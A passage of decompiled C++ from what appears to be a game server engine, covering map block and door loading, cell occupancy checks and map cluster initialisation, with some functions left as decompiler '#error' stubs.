v1; } //----- (0048AF00) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformationBox::__unnamed::___unnamed(int this) { MapBlock::MapBlockInformation::_MapBlockInformation((MapBlock::MapBlockInformation *)(this + 20)); } //----- (0048AF10) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformationBox::_MapBlockInformationBox(MapBlock::MapBlockInformationBox *this) { _eh_vector_destructor_iterator_( this, 0xB70u, 256, (void (__thiscall *)(void *))MapBlock::MapBlockInformationBox::__unnamed::___unnamed); } //----- (0048AF30) -------------------------------------------------------- char __thiscall MapBlock::MapDoorBlockElement::mdbe_DoorAction(MapBlock::MapDoorBlockElement *this, MapBlock::MapBlockInformation *blockinform, MapBlock::MapDoorArray *array, MapBlock::DoorAction da) { MapBlock::MapDoorBlockElement *v4; // esi@1 const void *v5; // ebp@1 unsigned int v6; // edx@3 unsigned int v7; // ebx@3 unsigned int v8; // eax@4 void *v9; // edi@6 void *v10; // eax@13 unsigned int v11; // esi@13 MapBlock::MapDoorBlockElement *v13; // [sp+10h] [bp-14h]@1 unsigned int arraya; // [sp+2Ch] [bp+8h]@3 v4 = this; v13 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapBlock::MapDoorArray::mdbe_DoorAction2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapDoorArray::mdbe_DoorAction2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = &array->mda_BlockBuffer[v4->mdbe_Address]; if ( da == 1 ) v5 = (char *)v5 + v4->mdbe_DataSize; v6 = v4->mdbe_StartY; v7 = (v4->mdbe_EndX - v4->mdbe_StartX + 1) >> 3; for ( arraya = v4->mdbe_StartY; v6 <= v4->mdbe_EndY; arraya = v6 ) { v8 = v4->mdbe_StartX; if ( v8 >= blockinform->mbi_blockxsize || v6 >= blockinform->mbi_blockysize ) v9 = 0; else v9 = &blockinform->mbi_MoveBlockBuffer[v8 >> 3] + v6 * blockinform->mbi_xbyte; if ( da == 1 ) { if ( !v9 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapDoorBlockElement::mdbe_DoorAction : Null block", v9 != 0); LABEL_16: v6 = arraya; goto LABEL_17; } memcpy(v9, v5, (unsigned __int16)v7); v4 = v13; } else { if ( (signed int)v7 > 0 ) { v10 = v9; v11 = v7; do { *(_BYTE *)v10 |= *((_BYTE *)v10 + v5 - v9); v10 = (char *)v10 + 1; --v11; } while ( v11 ); v4 = v13; goto LABEL_16; } } LABEL_17: v5 = (char *)v5 + v7; ++v6; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapDoorArray::mdbe_DoorAction2"); return 1; } //----- (0048B0A0) -------------------------------------------------------- void __thiscall MapBlock::MapDoorArray::mda_CloseAllDoor(MapBlock::MapDoorArray *this, MapBlock::MapBlockInformation *blockinfo) { MapBlock::MapDoorArray *v2; // esi@1 int v3; // edi@1 MapBlock::MapDoorBlockElement *v4; // ebx@2 v2 = this; v3 = 0; if ( this->mda_TotalHeadCnt ) { v4 = this->mda_Array; do { if ( !MapBlock::MapDoorBlockElement::mdbe_DoorAction(v4, blockinfo, v2, 0) ) AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapDoorArray::mda_CloseAllDoor : Close error", v3); ++v3; ++v4; } while ( v3 < v2->mda_TotalHeadCnt ); } } //----- (0048B0F0) -------------------------------------------------------- char __thiscall MapBlock::MapBlockInformation::mbi_OccupCellCheck(MapBlock::MapBlockInformation *this, unsigned int x, unsigned int y, int range) { MapBlock::MapBlockInformation *v4; // edi@1 int v5; // esi@1 int v6; // eax@1 int v7; // ecx@1 unsigned int v8; // ebx@1 unsigned int v9; // edx@1 unsigned int v10; // ebp@3 int v11; // edx@3 int dy; // [sp+14h] [bp-20h]@2 int v14; // [sp+18h] [bp-1Ch]@1 unsigned int xa; // [sp+38h] [bp+4h]@1 unsigned int ya; // [sp+3Ch] [bp+8h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_OccupCellCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapBlockInformation::mbi_OccupCellCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = range; v6 = -range; v7 = -range; v8 = 8 * x / 0x32; v9 = 8 * y / 0x32; xa = 8 * x / 0x32; ya = 8 * y / 0x32; v14 = -range; if ( -range > range ) { LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_OccupCellCheck"); return 0; } while ( 1 ) { dy = v6; if ( v6 <= v5 ) break; LABEL_10: ++v7; v14 = v7; if ( v7 > v5 ) goto LABEL_11; } v10 = v7 + v8; v11 = v6 + v9; while ( 1 ) { if ( v10 >= v4->mbi_blockxsize || v11 >= v4->mbi_blockysize ) goto LABEL_8; if ( !((unsigned __int8)(1 << (v10 & 7)) & *(&v4->mbi_MoveBlockBuffer[v10 >> 3] + v11 * v4->mbi_xbyte)) ) break; v5 = range; v7 = v14; v6 = dy; LABEL_8: ++v6; ++v11; dy = v6; if ( v6 > v5 ) { v6 = -range; v8 = xa; v9 = ya; goto LABEL_10; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_OccupCellCheck"); return 1; } //----- (0048B270) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformationBox::MapBlockInformationBox(MapBlock::MapBlockInformationBox *this) { MapBlock::MapBlockInformationBox *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0xB70u, 256, (void (__thiscall *)(void *))MapBlock::MapBlockInformationBox::__unnamed::__unnamed, (void (__thiscall *)(void *))MapBlock::MapBlockInformationBox::__unnamed::___unnamed); v1->mbib_Number = 0; } //----- (0048B2A0) -------------------------------------------------------- char __thiscall MapBlock::MapDoorBlockElement::mdbe_DoorAction(MapBlock::MapDoorBlockElement *this, MapBlock::MapBlockInformation *blockinform, MapBlock::MapDoorArray *array, Name8 *doorindex, MapBlock::DoorAction da) { MapBlock::MapDoorBlockElement *v5; // esi@1 int v6; // ebx@1 char result; // al@2 char v8; // al@3 char v9; // bl@3 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapBlock::MapDoorArray::mdbe_DoorAction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapDoorArray::mdbe_DoorAction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v6 = funcallanalizer.fca_stackpoint++ + 1; if ( Name8::operator__(doorindex, &v5->mdbe_BlockName) ) { funcallanalizer.fca_stackpoint = v6 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapDoorArray::mdbe_DoorAction"); result = 0; } else { v8 = MapBlock::MapDoorBlockElement::mdbe_DoorAction(v5, blockinform, array, da); --funcallanalizer.fca_stackpoint; v9 = v8; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapDoorArray::mdbe_DoorAction"); result = v9; } return result; } //----- (0048B3A0) -------------------------------------------------------- char __thiscall MapBlock::MapDoorArray::mda_DoorAction(MapBlock::MapDoorArray *this, MapBlock::MapBlockInformation *blockinform, Name8 *doorindex, MapBlock::DoorAction da) { MapBlock::MapDoorArray *v4; // esi@1 unsigned int v5; // ebx@1 MapBlock::MapDoorBlockElement *v6; // edi@2 char result; // al@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapBlock::MapDoorArray::mda_DoorAction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapDoorArray::mda_DoorAction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; if ( v4->mda_TotalHeadCnt ) { v6 = v4->mda_Array; while ( !MapBlock::MapDoorBlockElement::mdbe_DoorAction(v6, blockinform, v4, doorindex, da) ) { ++v5; ++v6; if ( v5 >= v4->mda_TotalHeadCnt ) goto LABEL_5; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapDoorArray::mda_DoorAction"); result = 1; } else { LABEL_5: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapDoorArray::mda_DoorAction"); result = 0; } return result; } //----- (0048B490) -------------------------------------------------------- char __thiscall MapBlock::MapBlockInformation::mbi_DoorAction(MapBlock::MapBlockInformation *this, Name8 *doorindex, MapBlock::DoorAction da) { MapBlock::MapBlockInformation *v3; // esi@1 char v4; // al@1 char v5; // bl@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_DoorAction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapBlockInformation::mbi_DoorAction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = MapBlock::MapDoorArray::mda_DoorAction(&v3->mbi_DoorBlockInform, v3, doorindex, da); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_DoorAction"); return v5; } //----- (0048B540) -------------------------------------------------------- void __thiscall MapBlock::MapDoorArray::mda_Load(MapBlock::MapDoorArray *this, char *mapname) { MapBlock::MapDoorArray *v2; // esi@1 _iobuf *v3; // eax@1 _iobuf *v4; // ebx@1 int v5; // eax@2 bool v6; // zf@2 unsigned int v7; // edi@5 unsigned int v8; // ebp@5 bool v9; // cf@7 void *v10; // eax@8 unsigned int v11; // eax@8 const char *v12; // ecx@11 MapBlock::MapDoorBlockElement *thisa; // [sp+8h] [bp-A4h]@1 char sFileMD5; // [sp+Ch] [bp-A0h]@11 char *p; // [sp+10h] [bp-9Ch]@11 unsigned int v16; // [sp+24h] [bp-88h]@11 char path[128]; // [sp+28h] [bp-84h]@1 unsigned int v18; // [sp+A8h] [bp-4h]@1 v18 = (unsigned int)&thisa ^ __security_cookie; v2 = this; sprintf(path, "../9Data/Hero/BlockInfo/%s.sbi"); v2->mda_TotalHeadCnt = 0; v3 = fopen(path, "r"); v4 = v3; if ( v3 ) { fread(v2, 4u, 1u, v3); v5 = v2->mda_TotalHeadCnt; v6 = v2->mda_TotalHeadCnt >= 0x20; thisa = (MapBlock::MapDoorBlockElement *)(v2->mda_TotalHeadCnt < 0x20); if ( v6 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapDoorArray::mda_Load : Too many doors", v5); ShineExit("MapBlock::MapDoorArray::mda_Load"); } v7 = 0; v8 = 0; if ( v2->mda_TotalHeadCnt ) { thisa = v2->mda_Array; do { v7 += MapBlock::MapDoorBlockElement::mdbe_Load(thisa, v4); ++v8; v9 = v8 < v2->mda_TotalHeadCnt; ++thisa; } while ( v9 ); } v10 = operator new__(v7); v2->mda_BlockBuffer = (char *)v10; v11 = fread(v10, 1u, v7, v4); thisa = (MapBlock::MapDoorBlockElement *)(v11 == v7); if ( v11 != v7 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapDoorArray::mda_Load : Buffer size wrong", 0); ShineExit("MapBlock::MapDoorArray::mda_Load"); } fclose(v4); CMD5Checksum::GetMD5( (std::basic_string,std::allocator > *)&sFileMD5, v2->mda_BlockBuffer, v7); v12 = p; if ( v16 < 0x10 ) v12 = (const char *)&p; *(_DWORD *)&v2->mda_DoorBlockCheckSum.n8_name[28] = 0; *(_DWORD *)&v2->mda_DoorBlockCheckSum.n8_name[24] = 0; *(_DWORD *)&v2->mda_DoorBlockCheckSum.n8_name[20] = 0; *(_DWORD *)&v2->mda_DoorBlockCheckSum.n8_name[16] = 0; *(_DWORD *)&v2->mda_DoorBlockCheckSum.n8_name[12] = 0; *(_DWORD *)&v2->mda_DoorBlockCheckSum.n8_name[8] = 0; *(_DWORD *)&v2->mda_DoorBlockCheckSum.n8_name[4] = 0; *(_DWORD *)&v2->mda_DoorBlockCheckSum.n8_name[0] = 0; strncpy(v2->mda_DoorBlockCheckSum.n8_name, v12, 0x20u); if ( v16 >= 0x10 ) operator delete(p); } } //----- (0048B6D0) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformation::mbi_Load(MapBlock::MapBlockInformation *this, Name3 *mapid, unsigned int *xsize, unsigned int *ysize) { MapBlock::MapBlockInformation *v4; // edi@1 unsigned int v5; // eax@1 char *v6; // eax@1 int v7; // ecx@1 _iobuf *v8; // eax@1 _iobuf *v9; // ebp@1 unsigned int v10; // eax@2 unsigned int v11; // eax@5 void *v12; // eax@8 unsigned int v13; // eax@11 unsigned int v14; // eax@15 char *v15; // eax@15 _iobuf *v16; // ebp@15 unsigned int v17; // eax@15 char *v18; // eax@15 int v19; // edx@15 unsigned int v20; // eax@18 unsigned int v21; // eax@21 void *v22; // eax@24 unsigned int v23; // eax@27 int v24; // ebp@27 int v25; // edx@30 unsigned int *v26; // eax@30 unsigned int v27; // edx@30 unsigned int *v28; // eax@30 int v29; // ecx@30 unsigned int v30; // edx@30 _iobuf *v31; // ST14_4@30 unsigned int v32; // eax@31 unsigned int v33; // eax@33 char *v34; // eax@33 unsigned int v35; // eax@33 char *v36; // eax@33 unsigned int v37; // eax@33 char *v38; // eax@33 BlockDistribute::BlockingDistribute *v39; // eax@33 int y; // [sp+10h] [bp-B4h]@1 int x; // [sp+14h] [bp-B0h]@18 FILE *fp; // [sp+18h] [bp-ACh]@2 int v43; // [sp+1Ch] [bp-A8h]@5 int buffer; // [sp+20h] [bp-A4h]@2 int v45; // [sp+24h] [bp-A0h]@18 unsigned int *v46; // [sp+28h] [bp-9Ch]@1 unsigned int *v47; // [sp+2Ch] [bp-98h]@1 FunctionEntarance _; // [sp+30h] [bp-94h]@1 char path[128]; // [sp+34h] [bp-90h]@1 unsigned int v50; // [sp+B4h] [bp-10h]@1 int v51; // [sp+C0h] [bp-4h]@1 v4 = this; v50 = (unsigned int)&y ^ __security_cookie; v47 = ysize; v46 = xsize; _.fe_FunctionCode = "MapBlock::MapBlockInformation::mbi_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapBlockInformation::mbi_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_QWORD *)v6 = *(_QWORD *)&mapid->n3_name[0]; v7 = *(_DWORD *)&mapid->n3_name[8]; v51 = 0; *((_DWORD *)v6 + 2) = v7; v6[12] = 0; sprintf(path, "../9Data/Hero/BlockInfo/%s.shab"); v8 = fopen(path, "rb"); v9 = v8; if ( v8 ) { v10 = fread(&buffer, 4u, 1u, v8); fp = (FILE *)(v10 == 1); if ( v10 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read X size", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load - shab"); } v11 = fread(&v43, 4u, 1u, v9); fp = (FILE *)(v11 == 1); if ( v11 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read Y size", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load - shab"); } v12 = operator new__(buffer * v43); v4->mbi_AttackBlockBuffer = (char *)v12; if ( v12 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in alloc mamory", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load - shab"); } v13 = fread(v4->mbi_AttackBlockBuffer, 1u, buffer * v43, v9); fp = (FILE *)(v13 == buffer * v43); if ( v13 != buffer * v43 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read Block information", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load - shab"); } fclose(v9); } v14 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v14; v15 = (char *)&namestring + 256 * v14; *(_QWORD *)v15 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v15 + 2) = *(_DWORD *)&mapid->n3_name[8]; v15[12] = 0; sprintf(path, "../9Data/Hero/BlockInfo/%s.shbd"); v16 = fopen(path, "rb"); v17 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v17; v18 = (char *)&namestring + 256 * v17; *(_QWORD *)v18 = *(_QWORD *)&mapid->n3_name[0]; v19 = *(_DWORD *)&mapid->n3_name[8]; fp = v16; *((_DWORD *)v18 + 2) = v19; v18[12] = 0; if ( v16 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Map block information not found", v18); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } v20 = fread(&x, 4u, 1u, v16); v45 = v20 == 1; if ( v20 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read X size", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } v21 = fread(&y, 4u, 1u, v16); v45 = v21 == 1; if ( v21 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read Y size", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } v22 = operator new__(x * y); v4->mbi_MoveBlockBuffer = (char *)v22; if ( v22 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in alloc mamory", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } v23 = fread(v4->mbi_MoveBlockBuffer, 1u, x * y, v16); v24 = x; v45 = v23 == x * y; if ( v23 != x * y ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read Block information", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } v25 = y; v4->mbi_blockxsize = 8 * x; v4->mbi_blockysize = v25; v26 = v46; v27 = 5000 * v24 / 0x64u; v4->mbi_mapxsize = v27; v4->mbi_xbyte = v24; *v26 = v27; v28 = v47; v29 = y; v30 = 625 * v4->mbi_blockysize / 0x64; v4->mbi_mapysize = v30; *v28 = v30; v31 = fp; v4->mbi_uiRealOneSideDataSize = v24; v4->mbi_uiOneSideBlockCnt = v29; fclose(v31); if ( v4->mbi_AttackBlockBuffer ) { v32 = 0; if ( x * y ) { do { v4->mbi_MoveBlockBuffer[v32] |= v4->mbi_AttackBlockBuffer[v32]; ++v32; } while ( v32 < x * y ); } } v33 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v33; v34 = (char *)&namestring + 256 * v33; *(_QWORD *)v34 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v34 + 2) = *(_DWORD *)&mapid->n3_name[8]; v34[12] = 0; v35 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v35; v36 = (char *)&namestring + 256 * v35; *(_QWORD *)v36 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v36 + 2) = *(_DWORD *)&mapid->n3_name[8]; v36[12] = 0; sprintf(path, "../9Data/Hero/BlockInfo/%s.aid"); AreaInfoData::Load(&v4->mbi_AreaData, path); v37 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v37; v38 = (char *)&namestring + 256 * v37; *(_QWORD *)v38 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v38 + 2) = *(_DWORD *)&mapid->n3_name[8]; v38[12] = 0; MapBlock::MapDoorArray::mda_Load(&v4->mbi_DoorBlockInform, v38); v39 = BlockDistribute::BlockDistributeManager::bdm_Find( &blockdistmanager, mapid, v4, v4->mbi_mapysize, 0, 0, v4->mbi_mapxsize); v4->mbi_BlockDistribute = v39; if ( v39 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapBlockInformation::mbi_Load : BlockDist fail", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } --funcallanalizer.fca_stackpoint; v51 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_Load"); __security_check_cookie((unsigned int)&y ^ v50); } //----- (0048BC60) -------------------------------------------------------- MapBlock::MapBlockInformation *__thiscall MapBlock::MapBlockInformationBox::mbib_Load(MapBlock::MapBlockInformationBox *this, Name3 *servmapid, Name3 *clntmapid, unsigned int *xsize, unsigned int *ysize) { MapBlock::MapBlockInformationBox *v5; // esi@1 unsigned int v6; // edx@1 int v7; // edi@1 char *v8; // eax@2 int v9; // eax@10 char *v10; // eax@10 MapBlock::MapBlockInformation *v11; // ebx@10 int v12; // edi@10 MapBlock::MapBlockInformation *result; // eax@10 int v14; // edi@11 v5 = this; v6 = this->mbib_Number; v7 = 0; if ( (signed int)v6 <= 0 ) { LABEL_7: if ( v6 >= 0x100 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformationBox::mbib_Load : Too many block info", v6); ShineExit("MapBlock::MapBlockInformationBox::mbib_Load"); } v9 = this->mbib_Number; this->mbib_Number = v9 + 1; v10 = (char *)this + 2928 * v9; *(_QWORD *)v10 = *(_QWORD *)&servmapid->n3_name[0]; *((_DWORD *)v10 + 2) = *(_DWORD *)&servmapid->n3_name[8]; v11 = (MapBlock::MapBlockInformation *)(v10 + 20); MapBlock::MapBlockInformation::mbi_Load( (MapBlock::MapBlockInformation *)(v10 + 20), clntmapid, (unsigned int *)v10 + 3, (unsigned int *)v10 + 4); v12 = v7; *xsize = v5->mbib_array[v12].xsize; *ysize = v5->mbib_array[v12].ysize; result = v11; } else { v8 = &this->mbib_array[0].mapid.n3_name[8]; while ( *((_DWORD *)v8 - 2) != *(_DWORD *)&servmapid->n3_name[0] || *((_DWORD *)v8 - 1) != *(_DWORD *)&servmapid->n3_name[4] || *(_DWORD *)v8 != *(_DWORD *)&servmapid->n3_name[8] ) { ++v7; v8 += 2928; if ( v7 >= this->mbib_Number ) goto LABEL_7; } v14 = v7; *xsize = this->mbib_array[v14].xsize; *ysize = this->mbib_array[v14].ysize; result = &this->mbib_array[v14].block; } return result; } //----- (0048BD60) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::InstanceMap::InstanceMap(MapClusterManager::MapCluster::InstanceMap *this) { MapClusterManager::MapCluster::InstanceMap *v1; // esi@1 v1 = this; Metronome::Metronome(&this->TimeToDestroy); Metronome::Metronome(&v1->EmptytoMsgDelay); Metronome::Metronome(&v1->LimitExpirationTime); Metronome::Metronome(&v1->FailDelayTime); Metronome::Metronome(&v1->LimitExpirationTimeWarningLevel_1); Metronome::Metronome(&v1->LimitExpirationTimeWarningLevel_2); } //----- (0048BDE0) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::InstanceMap::_InstanceMap(MapClusterManager::MapCluster::InstanceMap *this) { MapClusterManager::MapCluster::InstanceMap *v1; // esi@1 v1 = this; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->LimitExpirationTimeWarningLevel_2); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->LimitExpirationTimeWarningLevel_1); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->FailDelayTime); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->LimitExpirationTime); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->EmptytoMsgDelay); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->TimeToDestroy); } //----- (0048BE70) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::_MapCluster(MapClusterManager::MapCluster *this) { _eh_vector_destructor_iterator_( this->mc_Map, 0x4Cu, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); } //----- (0048BE90) -------------------------------------------------------- #error "48BE90: undefined or illegal type '#1265' (funcsize=72)" //----- (0048BFA0) -------------------------------------------------------- #error "48BFA0: undefined or illegal type '#1265' (funcsize=118)" //----- (0048C140) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 6495F8: using guessed type int (__stdcall *List_MapClusterManager__MapCluster____vftable_[3])(__int16 hnd); //----- (0048C160) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x94u, 0x2Au) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0048C210) -------------------------------------------------------- void __thiscall MapClusterManager::ClusterManager::cm_Init(MapClusterManager::ClusterManager *this) { MapClusterManager::ClusterManager *v1; // esi@1 int v2; // eax@1 int v3; // eax@4 ListStruct *v4; // eax@5 int v5; // eax@11 char v6; // al@14 ListStruct *v7; // eax@15 int v8; // eax@21 char v9; // al@24 ListStruct *v10; // eax@25 int v11; // eax@31 char v12; // al@34 ListStruct *v13; // eax@35 v1 = this; v2 = this->baseclass_0.l_Finger.empty; if ( (_WORD)v2 != -1 ) ((void (__stdcall *)(int))this->baseclass_0.vfptr->l_AllocZ)(v2); if ( v1->baseclass_0.l_MaxSize ) { v4 = v1->baseclass_0.l_Array; if ( v4->ls_Content ) { LOBYTE(v3) = 0; } else { *(_DWORD *)v3 = (char *)v1 + 24; LOBYTE(v3) = 1; } } else { LOBYTE(v3) = 0; } v3 = (unsigned __int8)v3; if ( !(_BYTE)v3 ) { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::ClusterManager::cm_Init : Init error", v3); ShineExit("MapClusterManager::ClusterManager::cm_Init"); } v5 = v1->baseclass_0.l_Finger.empty; if ( (_WORD)v5 != -1 ) v1->baseclass_0.vfptr->l_AllocZ((List *)v1, v5); if ( v1->baseclass_0.l_MaxSize > 1u ) { v7 = v1->baseclass_0.l_Array; if ( v7[1].ls_Content ) { v6 = 0; } else { v7[1].ls_Content = &v1->cm_ClassChangeRou; v6 = 1; } } else { v6 = 0; } if ( !v6 ) { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::ClusterManager::cm_Init : Init error", 1); ShineExit("MapClusterManager::ClusterManager::cm_Init"); } v8 = v1->baseclass_0.l_Finger.empty; if ( (_WORD)v8 != -1 ) v1->baseclass_0.vfptr->l_AllocZ((List *)v1, v8); if ( v1->baseclass_0.l_MaxSize > 2u ) { v10 = v1->baseclass_0.l_Array; if ( v10[2].ls_Content ) { v9 = 0; } else { v10[2].ls_Content = &v1->cm_ClassChangeGamble; v9 = 1; } } else { v9 = 0; } if ( !v9 ) { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::ClusterManager::cm_Init : Init error", 2); ShineExit("MapClusterManager::ClusterManager::cm_Init"); } v11 = v1->baseclass_0.l_Finger.empty; if ( (_WORD)v11 != -1 ) v1->baseclass_0.vfptr->l_AllocZ((List *)v1, v11); if ( v1->baseclass_0.l_MaxSize > 3u ) { v13 = v1->baseclass_0.l_Array; if ( v13[3].ls_Content ) { v12 = 0; } else { v13[3].ls_Content = &v1->cm_ClassChangeElfForest; v12 = 1; } } else { v12 = 0; } if ( !v12 ) { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::ClusterManager::cm_Init : Init error", 3); ShineExit("MapClusterManager::ClusterManager::cm_Init"); } } //----- (0048C380) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::MapCluster(MapClusterManager::MapCluster *this, char *mapindex) { MapClusterManager::MapCluster *v2; // esi@1 v2 = this; *(_QWORD *)&this->mc_MapIndex.n3_name[4] = 0i64; *(_DWORD *)&this->mc_MapIndex.n3_name[0] = 0; _eh_vector_constructor_iterator_( this->mc_Map, 0x4Cu, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::InstanceMap, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); *(_DWORD *)&v2->mc_MapIndex.n3_name[8] = 0; *(_DWORD *)&v2->mc_MapIndex.n3_name[4] = 0; *(_DWORD *)&v2->mc_MapIndex.n3_name[0] = 0; strncpy(v2->mc_MapIndex.n3_name, mapindex, 0xCu); v2->mc_MapNumber = 0; v2->mc_Pointer = 0; } //----- (0048C3E0) -------------------------------------------------------- #error "48C3E0: undefined or illegal type '#1265' (funcsize=67)" //----- (0048C4F0) -------------------------------------------------------- int __thiscall MapClusterManager::MapCluster::mc_CompName(MapClusterManager::MapCluster *this, List *lst, unsigned __int16 hnd, MapClusterManager::MapCluster *key) { MapClusterManager::MapCluster *v4; // esi@1 bool v5; // cf@1 int v6; // esi@2 unsigned int v7; // eax@3 unsigned int v8; // ecx@3 unsigned int v9; // edx@4 unsigned int v10; // esi@4 v4 = this; 